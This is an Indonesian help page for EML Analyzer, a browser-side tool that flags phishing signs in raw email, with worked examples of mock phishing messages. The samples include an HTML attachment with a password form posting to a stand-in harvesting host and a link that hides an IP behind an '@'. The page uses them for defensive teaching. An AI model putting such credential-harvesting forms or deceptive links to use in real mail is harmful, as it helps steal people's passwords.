Email

EML Analyzer

Berjalan secara lokalBaru

Alat ini sendiri tersedia dalam bahasa Inggris; halaman ini menjelaskannya dalam bahasa Anda.

Gunakan EML Analyzer

Fungsinya

Jatuhkan file .eml atau tempelkan sumber pesan untuk memeriksa header pengirim, rantai Received, tautan, dan lampirannya. Semuanya berjalan di browser Anda.

Aplikasi ini sepenuhnya berjalan di browser Anda: tidak ada data yang Anda masukkan yang diunggah.

Cara menggunakan EML Analyzer

  1. Dapatkan pesan mentah. Simpan email sebagai .eml atau salin sumbernya: Gmail Show original, Outlook View message source, Thunderbird atau Apple Mail View source. File .msg Outlook tidak dibaca.
  2. Muat pesan. Jatuhkan file .eml ke kotak atau pilih file (hingga 50 MB), atau tempelkan sumbernya ke kolom teks (hingga 5 MB) dan tekan Analyze (Analisis).
  3. Baca Summary. Temuan diurutkan menjadi tanda bahaya, peringatan, catatan, dan pemeriksaan yang lolos. Setiap baris menyebutkan header, tautan, atau lampiran asalnya.
  4. Periksa detailnya. Di bawah ringkasan terdapat header pengirim, domain yang dibandingkan dengan domain From, hasil autentikasi, rantai Received, setiap tautan, dan setiap lampiran.
  5. Ambil indikatornya. Centang jenis indikator yang Anda perlukan, lalu salin dalam bentuk mentah atau defanged, unduh sebagai file .txt, atau gunakan Send to.

Contoh

Pesan phishing rekaan

Masukan
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
Hasil (direkam pada 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

Nama tampilan yang menyamar sebagai support@example.com, Reply-To dan DKIM di domain lain, DMARC fail, tautan yang teksnya menampilkan www.example.com tetapi mengarah ke login.example.net, dan lampiran invoice.pdf.html berisi formulir kata sandi.

Apa yang diperiksa

SinyalApa artinya
Nama tampilan berisi alamat emailBahaya jika nama menampilkan satu alamat sedangkan pengirim sebenarnya adalah alamat lain. Aplikasi email sering hanya menampilkan nama.
Reply-To di domain lainPeringatan: balasan Anda akan dikirim ke organisasi yang berbeda dari pengirim.
Authentication-ResultsDMARC fail dan SPF fail adalah tanda bahaya; SPF softfail dan DKIM fail adalah peringatan. Hanya hasil yang ditambahkan penyedia Anda sendiri yang berlaku.
Domain Return-Path dan DKIM d=Dicatat jika berbeda dari domain From. Hal ini normal untuk layanan email massal, tetapi DMARC memerlukan salah satunya selaras (align).
Rantai ReceivedHop dicantumkan mulai dari yang terlama beserta jedanya. Stempel waktu yang lebih awal dari hop sebelumnya, jeda lebih dari satu jam, atau reverse DNS "may be forged" akan ditandai.
Teks dan tujuan tautanBahaya jika teks yang terlihat menyebut satu domain sedangkan tautannya mengarah ke domain lain, atau jika teks sebelum @ menyembunyikan host sebenarnya. IP polos, punycode, pemendek URL, dan tautan yang dibungkus juga ditandai.
LampiranEkstensi ganda, file yang menjalankan kode atau terbuka di browser, konten yang tidak cocok dengan ekstensi, dan trik right-to-left override ditandai. Setiap file mendapat SHA-256, SHA-1, dan MD5.
Formulir dan skrip dalam HTMLFormulir dengan kolom kata sandi di isi pesan atau di lampiran adalah tanda bahaya. Kode skrip di dalam lampiran adalah peringatan.

Contoh lainnya

Tautan yang menyembunyikan alamat IP

Masukan
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
Hasil

1 tanda bahaya, "1 link: text before "@" is ignored: the real host is 203.0.113.7", dan 1 peringatan, "1 link: link goes to a bare IP address". Tabel Links menampilkan alamat dalam bentuk defanged di samping teksnya, Upgrade storage.

Halaman HTML yang menyamar sebagai PDF

Masukan
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
Hasil

2 tanda bahaya: lampiran invoice.pdf "contains a form with a password field", dan "content is HTML document, not .pdf". Kartu lampiran menampilkan Content: HTML document dan tiga hash; tabel Links mencantumkan tujuan formulir dengan "form submits data to this address".

Pertanyaan yang Sering Diajukan

Apa yang diperiksa EML Analyzer?

Alat ini mendekode header dan setiap bagian MIME, membandingkan domain From, Reply-To, Return-Path, DKIM d=, dan Message-ID, serta membaca Authentication-Results. Alat ini juga mencantumkan hop Received beserta jedanya, setiap tautan beserta teks yang terlihat, serta SHA-256, SHA-1, dan MD5 dari setiap lampiran.

Bisakah alat ini membuktikan bahwa email adalah phishing, atau bahwa email itu aman?

Tidak. Alat ini menampilkan fakta dan tanda peringatan, bukan putusan: email massal yang sah sering memiliki Return-Path atau domain DKIM yang berbeda, dan tanda tangan DKIM dicantumkan tetapi tidak diverifikasi secara kriptografis. File .msg Outlook tidak didukung; simpan pesan sebagai .eml terlebih dahulu.

Apakah email diunggah ke suatu tempat?

Tidak. File dibaca dan diurai di browser Anda, HTML ditampilkan sebagai teks dan tidak pernah dirender, dan tidak ada yang dikirim melalui jaringan. Tombol Send to meneruskan hasil ke halaman alat lain melalui session storage browser Anda.

Header Authentication-Results mana yang dipercaya alat ini?

Header yang ditambahkan sistem email Anda sendiri, dikenali dari rantai Received dan ditandai "added by the recipient's server". Header yang lebih bawah dalam pesan dapat ditulis oleh pengirim, jadi halaman ini menyarankan Anda hanya memercayai hasil dari penyedia Anda.

Bisakah alat ini membuka email yang dilampirkan di email lain?

Bisa. Pesan yang dilampirkan dicantumkan beserta hash-nya dan tombol "Analyze the attached message" yang membukanya di tampilan yang sama. "Back to the outer message" membawa Anda kembali.

Mengapa sebagian alamat IP tidak ada di indikator?

Alamat privat dan lokal serta hop di dalam sistem email penerima sendiri tidak dimasukkan, karena tidak mengarah ke server pengirim. Alamat email penerima juga tidak pernah disertakan.

Penjelasan Istilah

Penelitian PhishDestroy